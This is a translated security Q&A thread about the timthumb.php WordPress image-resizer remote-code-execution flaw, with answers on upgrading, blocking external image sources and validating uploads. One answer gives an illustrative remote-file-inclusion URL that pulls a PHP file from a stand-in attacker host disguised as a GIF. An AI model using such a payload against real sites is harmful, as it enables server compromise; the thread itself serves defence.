¿Alternativa o solución de seguridad de TimThumb?

0

"Una utilidad de cambio de tamaño de imagen llamada timthumb.php es ampliamente utilizada por muchos temas de WordPress ... La utilidad solo tiene una coincidencia parcial en los nombres de host, lo que permite a los piratas informáticos cargar y ejecutar código PHP arbitrario en su directorio de caché de timthumb ... También recursivamente grep su directorio y subdirectorios de WordPress para la función base64_decode y busque cadenas codificadas largas para verificar si ha sido comprometido ".

"NOTA: timthumb.php es intrínsecamente inseguro porque se basa en poder escribir archivos en un directorio al que pueden acceder las personas que visitan su sitio web". Source

Los comentarios dicen que al actualizar a la versión 2, se vuelve más difícil explotar el código. Código

Parece que el único directorio que requiere 777 permisos es el caché, aparte de que todas las carpetas / archivos deben tener un valor predeterminado.

He agregado la secuencia de comandos a mi sitio de inicio de código para cambiar el tamaño de la imagen. ¿Debo sentirme seguro usando el script en este momento, o debo buscar una alternativa?

    
pregunta Rick Rhodes 05.02.2012 - 19:05
fuente

2 respuestas

3

La versión mejorada de timthumb tiene muchos mecanismos de seguridad para prevenir esas vulnerabilidades y el código se ha inspeccionado más detenidamente después del descubrimiento. Personalmente lo estoy usando en varios sitios, y no creo que sea menos seguro que cualquier otra alternativa. Sin embargo, por supuesto, depende de las alternativas y no conozco ninguna en particular.

No hay garantías de seguridad. Siempre hay una posibilidad de que se descubra una nueva vulnerabilidad. Pero eso se aplica a cualquier producto. Tiendo a pensar que los productos que experimentaron un problema de seguridad probablemente tengan más en cuenta la seguridad que aquellos que no experimentaron ningún problema. Por supuesto, esto es altamente individual para las personas, el producto, el medio ambiente, etc., por lo que no es algo en lo que confiar.

En su lugar, me concentraría en establecer timthumb de la forma más segura posible para su entorno. Por ejemplo, asegúrese de que no se permiten fuentes de imagen externas. En tales configuraciones, creo que incluso la versión anterior de timthumb no era vulnerable.

    
respondido por el Yoav Aner 05.02.2012 - 21:04
fuente
1

Me parece que todo el problema de los permisos es un poco engañoso. Este script parece permitir las inclusiones de archivos remotos ya sea no filtrando correctamente las extensiones de archivos o permitiendo que los archivos gif se carguen con un código de vulnerabilidad adjunto al final del gif (y quizás también en los datos exif).

Fuera de la parte superior de mi cabeza, al permitir la carga, un script debe verificar lo siguiente:

  • Verifique los datos exif para la inclusión de códigos maliciosos (por ejemplo: exif_read_data() )

  • Verifique las dimensiones de la imagen y el tamaño del archivo (para ver si existen)

  • Verifique al menos el principio y el final del código para una inclusión maliciosa,
  • Comprueba el tipo de contenido
  • Es importante utilizar una lista blanca de extensiones de imagen permitidas

En ocasiones, los desarrolladores agregan accidentalmente problemas de seguridad en un esfuerzo por hacer que la carga de imágenes sea más flexible para los usuarios. Por ejemplo, permitir que los avatares / imágenes alojados remotamente sean cargados. Si no se marca correctamente, un atacante puede cargar algún código malicioso, por ejemplo, en un archivo con una extensión GIF e intentar incluirlo de forma remota.

O incluso usando una extensión .php estándar dependiendo de lo mal escrito que esté el código, por ejemplo teórico:

www.victimsite.com/?remoteimg=http://www.attacksite.com/images/exploit.php/fakeimage.gif

Algunos scripts leerán la extensión de la imagen como .gif, pero al incluir la llamada imagen, el código incluye realmente el contenido del archivo exploit.php.

    
respondido por el Taipo 05.02.2012 - 21:11
fuente

Lea otras preguntas en las etiquetas